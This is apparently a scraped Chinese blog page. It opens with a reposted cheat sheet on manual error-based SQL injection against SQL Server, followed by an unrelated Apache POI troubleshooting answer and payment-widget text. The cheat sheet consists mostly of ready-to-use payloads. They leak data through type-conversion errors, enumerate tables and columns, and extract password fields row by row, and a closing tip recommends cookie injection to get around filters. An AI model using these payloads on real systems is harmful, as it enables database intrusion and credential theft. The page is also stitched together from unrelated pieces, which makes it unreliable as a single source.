Sql Server 手工注入总结(显错模式)

本文介绍了 SQL Server 数据库渗透的实用技巧,包括利用类型转换错误进行信息泄露、获取表名及字段名的方法,以及如何从数据库中抽取具体的数据内容等。文章还提及了跨库查询的技术,并提醒读者注意 ASP+SQL Server 环境下可能存在的 Cookie 注入攻击。
 
 
--显错模式总结,利用类型转换报错。
--1=convert(int,(@@version))
--1=convert(int,(select host_name()))
--and 1=convert(int,(user))
 
--爆表名记录条数。replace(字段名,' ','')
select replace(str(count(*))+'N',' ','') from sysobjects where xtype='U'
--逐条爆表名,www.2cto.com 需要更改是"top 0","top 0"代表第一条数据内容。
select top 1 name from sysobjects where xtype='U' and id not in(select top 0 id from sysobjects where xtype='U')
 
--利用模糊字段关键词找表名,需要更改是"top 0","top 0"代表第一个表名.
select top 1 name from sysobjects where xtype='U' and id not in(select top 0 id from syscolumns where id in(select id from sysobjects where xtype='U') and name like '%pass%' order by id asc)
 
 
--爆表与之对应字段,需要更改的是表名"username"和"top 0","top 0"代表第一条数据内容。
select str(count(*))+'N' from syscolumns where id=(select id from sysobjects where xtype='U' and name='username')
select top 1 name from syscolumns where id=(select id from sysobjects where xtype='U' and name='username') and name not in (select top 0 name from syscolumns where id=(select id from sysobjects where xtype='U' and name='username'))
 
 
--爆对应表,对应字段数据库内容.
--爆数据条数
select str(count(*))+'N' from username
--爆对应字段对应内容,需要替换password,username,id,以及"top 0","top 0"代表第一条数据内容。
select top 1 password from username where id not in (select top 0 id from username)
 
 
--跨库
select top 1 name from ss.dbo.sysobjects where xtype='U' and id not in(select top 0 id from ss.dbo.sysobjects where xtype='U')原理就是那么简单,在测试的过程中学会变通。对于asp+sql server,
 
经常会遇到做了防注入,有时候别忘了cookies注入,效果不错。
 
摘自转自:http://t00ls.net/viewthread. php?tid=20248&extra=page%3D1%26amp%3Borderby%3Ddateline%26amp%3Bfilter%3D2592000
 
在使用 Apache POI 解析 PPT 文件时,出现 `Was closed before the data was requested` 错误并伴随 `java.io.IOException` 异常,通常与资源管理或文件流的生命周期控制有关。此问题多见于处理基于 ZIP 格式的 Office 文档(如 `.pptx` 文件),Apache POI 使用 `ZipArchiveInputStream` 和 `ZipArchiveFakeEntry` 来解析这些文件中的条目。 以下是可能导致该异常的几个主要原因: 1. **文件流提前关闭** 在读取 PPT 文件的过程中,若文件输入流(`FileInputStream` 或 `InputStream`)被提前关闭,而仍在尝试访问其中的条目数据,则会触发此异常。例如,当使用 `OPCPackage` 或 `XMLSlideShow` 读取 `.pptx` 文件时,若在未完成解析前手动关闭了底层流,后续调用 `getInputStream()` 时会抛出 `IOException`,提示“Was closed before the data was requested”[^1]。 2. **资源泄漏或不当使用** Apache POI 内部对 ZIP 文件的处理依赖于 `ZipArchiveInputStream` 和 `ZipArchiveFakeEntry`,这些类用于遍历 ZIP 条目。如果在解析过程中未能正确获取或保持对某个条目的引用,或在读取之前释放了相关资源,也可能导致此异常。尤其是在多线程环境下,若多个线程并发访问同一个文件流而未进行同步控制,资源竞争可能导致流被提前关闭[^1]。 3. **文件损坏或格式不兼容** 若 PPT 文件本身损坏或并非标准的 Office Open XML 格式(例如,是旧版 `.ppt` 格式但误用 `XSLF` 模块处理),Apache POI 在解析 ZIP 条目时可能无法正确识别内容,导致在获取输入流时抛出异常。此外,某些非标准压缩工具生成的 `.pptx` 文件可能不符合 ZIP 格式规范,也可能引发此类问题[^3]。 4. **内存不足或资源限制** 在处理大型 PPT 文件时,若 JVM 内存不足或系统资源受限,可能导致 POI 在解压 ZIP 条目时无法正常加载流,从而提前关闭输入流并抛出异常。这种情况下,通常会伴随其他资源相关的异常(如 `OutOfMemoryError`)一同出现[^2]。 5. **Apache POI 版本缺陷** 某些 Apache POI 的旧版本中存在与 ZIP 流处理相关的 bug,可能导致在解析 `.pptx` 文件时出现此类异常。建议使用最新稳定版本(如 5.2.3 或以上),以避免已知的 ZIP 流处理问题。 ### 示例代码(正确使用 OPCPackage 读取 PPTX) ```java import org.apache.poi.xslf.usermodel.XMLSlideShow; import java.io.FileInputStream; import java.io.IOException; public class PPTXReader { public static void main(String[] args) { try (FileInputStream fis = new FileInputStream("example.pptx"); XMLSlideShow ppt = new XMLSlideShow(fis)) { // 正确使用 try-with-resources 确保流在使用完毕后才关闭 System.out.println("Number of slides: " + ppt.getSlides().size()); } catch (IOException e) { e.printStackTrace(); } } } ``` ### 建议的解决方法 - 确保使用 `try-with-resources` 结构管理所有流资源,避免手动提前关闭输入流。 - 验证 `.pptx` 文件是否完整且符合 Office Open XML 标准。 - 更新 Apache POI 到最新版本以修复潜在的 ZIP 流处理缺陷。 - 对于大型文件,适当增加 JVM 内存配置(如 `-Xmx` 参数)以防止资源不足。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值